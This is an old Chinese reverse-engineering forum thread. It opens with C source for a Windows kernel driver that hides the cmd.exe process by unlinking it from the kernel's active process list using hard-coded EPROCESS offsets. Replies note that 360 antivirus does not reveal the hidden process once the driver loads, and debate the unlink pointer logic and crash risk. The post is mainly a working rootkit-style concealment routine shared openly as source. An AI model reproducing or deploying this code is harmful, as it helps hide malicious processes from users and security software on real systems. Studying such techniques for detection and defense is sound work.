首页
社区
课程
招聘
[原创]写了个驱动,隐藏cmd.exe进程(高手别看)
发表于: 2009-12-6 01:42 9330

[原创]写了个驱动,隐藏cmd.exe进程(高手别看)

2009-12-6 01:42
9330
#include "Driver.h"
char* GetAllProcessListName(ULONG);
#pragma INITCODE
VOID getProccess()
{
	
//	DbgPrint("this is getProcess()");
	ULONG  Address;
	ULONG  oldAddress;
	Address = (ULONG)PsGetCurrentProcess();
	Address += 0x88;
	oldAddress = Address;
//	DbgPrint("this is getProcess()");
	char *processName;
	LIST_ENTRY*  listEntry;
	do
	{
	        processName = GetAllProcessListName(Address);
	//	KdPrint((" name:%s\n",processName));
		if(!strcmp(processName, "cmd.exe"))
		{

			KdPrint(("this is my hidden name:%s\n",processName));
			listEntry = (LIST_ENTRY *) (Address);
			*((ULONG*)listEntry->Blink) = (ULONG)listEntry->Flink;
			*((ULONG*)listEntry->Flink+1) = (ULONG)listEntry->Blink;
		}
		Address = *(ULONG*)Address;
		
	}while(oldAddress != Address);		

}
char*  GetAllProcessListName(ULONG Address)
{
	Address -= 0x88;
	ULONG PID;
	char *processName;
	PID = *(int*)(Address + 0x84);
	processName = (char*)(Address + 0x174);
	//KdPrint(("PID:%d", PID));
	return processName;
}


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (12)
雪    币: 245
活跃值: (11)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2



问个问题,为啥360会不显示这个隐藏的进程啊?
我觉的应该显示的啊!
是有意不显示的!
上传的附件:
  • w.jpg (158.46kb,25次下载)
2009-12-6 02:23
0
雪    币: 279
活跃值: (33)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
360是你进了ring0后就不管了,所以只要驱动加载成功,是可以起作用的,但加载时会拦截。
2009-12-6 09:00
0
雪    币: 474
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
拿源码了,谢谢了哦
2009-12-6 09:42
0
雪    币: 34
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
5
我看到楼主混乱的桌面,哈哈...
2009-12-6 11:29
0
雪    币: 412
活跃值: (30)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
6
楼主在真机上试。。。。
2009-12-6 12:41
0
雪    币: 245
活跃值: (11)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
7
虚拟机上试的啊!
360不管驱动干什么,只管加载驱动那块?
2009-12-6 15:34
0
雪    币: 220
活跃值: (721)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
现在X星也开始疯狂拦截驱动了。什么驱动都拦截,郁闷。
2009-12-6 23:05
0
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
第一贴发给你来了``
2009-12-7 00:28
0
雪    币: 217
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
没有处理cmd.exe在链尾的情况,这样会不会蓝屏?
*((ULONG*)listEntry->Blink) = (ULONG)listEntry->Flink;
      *((ULONG*)listEntry->Flink+1) = (ULONG)listEntry->Blink;
这两句中的第二句看不明白,可以指点一下吗?我觉得第二句应该不需要了。因为第一句就把listEntry的指针向后移了,Fink是指下一个指针,*((ULONG*)listEntry->Flink+1) 是什么意思?为什么要指向Bink,这样的话,这个结构不是两个指针都指在同一个地方?改成?
*((ULONG*)listEntry->Blink) = *((ULONG*)listEntry->Blink+1) ;
      *((ULONG*)listEntry->Flink) = *((ULONG*)listEntry->Flink+1);
行吗?
2009-12-7 09:00
0
雪    币: 245
活跃值: (11)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
11
我很菜啊,
*((ULONG*)listEntry->Blink) = *((ULONG*)listEntry->Blink+1) ;

这就变成
前一个listentity-->Flink 指向了自己的Blink 是吧? 自己指自己?
(ULONG*)listEntry->Blink+1  这句就不对!!Blink+1 变成什么了?我觉的啊!flink+1 = blink
2009-12-7 10:02
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
12


双向环状链表,无所谓头,无所谓尾。直接RemoveEntryList不就行了,像楼主这么写比较容易混乱,自己清楚还好,自己都不清楚,别人就更搞不清楚了~
2009-12-7 10:42
0
雪    币: 102
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
学习驱动需要什么知识
2009-12-23 00:23
0
游客
登录 | 注册 方可回帖
返回
//